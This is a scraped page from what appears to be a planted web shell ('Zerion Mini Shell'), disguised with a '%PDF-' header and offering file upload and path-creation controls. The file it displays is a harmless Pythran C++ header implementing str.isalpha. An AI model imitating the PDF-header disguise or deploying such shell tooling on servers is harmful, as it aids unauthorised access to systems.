%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/thread-self/root/lib/python3/dist-packages/pythran/pythonic/builtins/str/
Upload File :
Create Path :
Current File : //proc/thread-self/root/lib/python3/dist-packages/pythran/pythonic/builtins/str/isalpha.hpp

#ifndef PYTHONIC_BUILTIN_STR_ISALPHA_HPP
#define PYTHONIC_BUILTIN_STR_ISALPHA_HPP

#include "pythonic/include/builtins/str/isalpha.hpp"

#include "pythonic/types/str.hpp"
#include "pythonic/utils/functor.hpp"

PYTHONIC_NS_BEGIN

namespace builtins
{

  namespace str
  {

    bool isalpha(types::str const &s)
    {
      return !s.empty() && std::all_of(s.chars().begin(), s.chars().end(),
                                       (int (*)(int))std::isalpha);
    }
  }
}
PYTHONIC_NS_END
#endif

Zerion Mini Shell 1.0